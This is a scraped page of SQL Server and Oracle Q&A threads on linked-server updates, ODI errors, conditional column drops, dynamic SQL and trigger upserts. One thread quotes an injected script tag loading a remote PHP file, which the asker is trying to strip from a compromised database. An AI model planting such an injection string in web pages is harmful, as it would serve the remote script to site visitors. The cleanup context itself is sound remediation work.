OPENQUERY update on linked server - sql

I want to execute the following statement through from a linked server (openquery):
UPDATE SAP_PLANT
SET (OWNER, OWNER_COUNTRY) = (SELECT import.AFNAME, import.COUNTRY
FROM SAP_IMPORT_CUSTOMERS import, SAP_PLANT plant
WHERE plant.SAP_FL = import.SAP_NO
AND import.role ='OWNER')
I've tried to form it into the following syntax, without success :(
update openquery(‘my_linked_server, ‘select column_1, column_2 from table_schema.table_name where pk = pk_value’)
set column_1 = ‘my_value1′, column_2 = ‘my_value2′
I hope for you this is no problem?

I guess this is not really a query you want to open, rather an SQL statement you want to execute. So instead of openquery, you shoud use execute. See example G here: http://msdn.microsoft.com/en-us/library/ms188332.aspx
So your script shoul look like
execute ('your sql command here') at my_linked_server

Are you getting syntax error? Your server parameter in the update openquery is missing a trailing quote. Change ```my_linked_servertomy_linked_server'`.

Related

ORA-00933 in ODI procedure

I'm mapping two table in ODI and I have a problem.
i've mapped the source table to the target table (called DM_BUSINESS with the columns BUSINESS_ID, NAME, ADDRESS). After that I've created a procedure with:
UPDATE dm_business SET name = CONCAT(name, CONCAT(' ', address)) WHERE name IN (SELECT name FROM dm_business GROUP BY name HAVING COUNT (business_id)>1);
When I run this query myself, with SQLDeveloper, I have no problem and it all works fine: it adds the address of the business to its name, when there are more than one business with the same name.
When I run the procedure with this task, it gives me error ORA-00933: SQL command not properly ended. I have choosen "Oracle" as target technology. What do I do wrong?
Can you help me? Thank you very much.
You should remove the semicolon to run it as an SQL statement or wrap your UPDATE with BEGIN..END to run it as a PL/SQL block:
BEGIN
UPDATE ... ;
END;

SQL SERVER: I would like to transfer my data to another column of the same table before droping the first one

I am having problems with some of my SQL scripts on SQL SERVER, indeed I am trying to transfer data from a column A to a column B of the same table and then drop the column B,
However my problem is that I have to check for the existence of A beforehand because the code is meant to be executed on a server where I don't have access (I work as a third party developper on a professionnal app)
Here is my code:
-- Export the data from the column name
-- Drop the column name
USE p_mynacellelocation_db_ChecklistWPF
GO
IF COL_LENGTH('model_trolley_part','name') IS NOT NULL
BEGIN
UPDATE model_trolley_part
SET name_en=[name];
ALTER TABLE model_trolley_part
DROP COLUMN [name];
END
In the case of the column name being non existent I would like not to do anything
However on execution of the code in a database where the column name is non existent SQL Server returns me:
Msg 207, Level 16, State 1, Line 12 Invalid column name 'name'.
Instead of jumping through all these hoops simply rename your original column.
https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-rename-transact-sql?view=sql-server-2017
exec sp_rename 'model_trolley_part.name', 'name_en', 'COLUMN'
You need to use dynamic SQL for this. The reason is that the parser will try to validate your code, even the code that won't be executed because its IF condition wouldn't be met.
The parser is smart enough to see there is no table named name, but it's not smart enough to realize that the code shouldn't get executed because of the IF, so it raises a parsing error.
Using dynamic SQL in the BEGIN..END block after the IF hides this from the parser so it will execute.
Try this:
IF EXISTS(SELECT *
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'myTableName'
AND COLUMN_NAME = 'ColumnA')
BEGIN
// your update and drop code goes here
END
you might want to check your account privileges if you are modifying table structure etc..

How to extract part of SQL query from a table

Is it possible to to extract SQL queries that are saved in a table?
For example
select * from saved_queries
name | statement
queryname | 'select * from mytable where myfield = 'somevalue'
I would like to be able to do something like
select * from ( extractsomehow( 'select Statement from saved_queries where name = 'queryname') ).
Unfortunately I cannot use Java so I am restricted to SQL and XML there.
I am using Oracle 11g
If you can write a stored procedure, you could use execute immediate, something like this:
select statement into v_statement from saved_queries where ... ;
execute immediate v_statement;
Before you use dynamic SQL, think carefully about whether or not you actually need it.

replace sql injection script

I have this sql query to try and remove some sql injection script from my database. When i execute this it runs fine and tells me that all rows have been affected, but I don't see any changes. I have checked the table names and the column names, I have changed the varchar value to the value the columns are set to but still nothing.
I have copied the injected script directly from the database
UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')
Could someone please explain why the script runs fine but no updates are done on the database.
The REPLACE function is probably not finding the string you're searching for.
Try doing a select to see if you get any rows:
select
column_name
from
table_name
where
CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'
(I obfuscated to the URL incase its malicious).

Testing For Primary Key Existence In Oracle SQL Trigger

I'm trying to write a trigger within SQL, and the code within needs to determine whether an entry exists in the table before either attempting to update, or insert.
I have tried using both
IF EXISTS
UPDATE
ELSE
INSERT
And
UPDATE
IF ##ROWCOUNT = 0
INSERT
But neither of them work. I'm partial to using the latter because my employer is nuts about efficiency (well...duh...) For this reason I'm also reluctant to use
IF SELECT COUNT(*) = 0
UPDATE
ELSE
INSERT
Does anybody know any ways to get around this?
--
UPDATE: I am trying to use MERGE, but I am receiving several errors...
MERGE INTO [tableName] AS Target
USING (SELECT :NEW.PIDM) AS Source (PIDM)
ON (Target.PIDM = Source.PIDM)
WHEN MATCHED THEN
[UPDATE STATEMENT]
WHEN NOT MATCHED THEN
[INSERT STATEMENT]
This gives me an error complaining that I'm missing the 'USING' keyword, as well as another complaining about the WHEN statement...
Use MERGE instead
In PL/SQL, you would use SQL%ROWCOUNT instead of ##ROWCOUNT:
UPDATE (...);
IF SQL%ROWCOUNT = 0 THEN
INSERT (...);
END IF;
Or, you could use SQL%NOTFOUND, which I personally think is easier to understand the intent:
UPDATE (...);
IF SQL%NOTFOUND THEN
INSERT (...);
END IF;
As for the MERGE command, the Oracle syntax is slightly different from the SQL Server which #zerkms linked to. In particular, you should leave the word "AS" out of the table alias, and you shouldn't list columns after the "USING" clause. Also, in Oracle SQL, the FROM clause is mandatory. You can use the DUAL table to mimic SQL Server's behavior. Putting it all together (this is untested):
MERGE INTO tableName Target
USING (SELECT :NEW.PIDM FROM DUAL) Source
ON (Target.PIDM = Source.PIDM)
WHEN MATCHED THEN
[UPDATE STATEMENT]
WHEN NOT MATCHED THEN
[INSERT STATEMENT]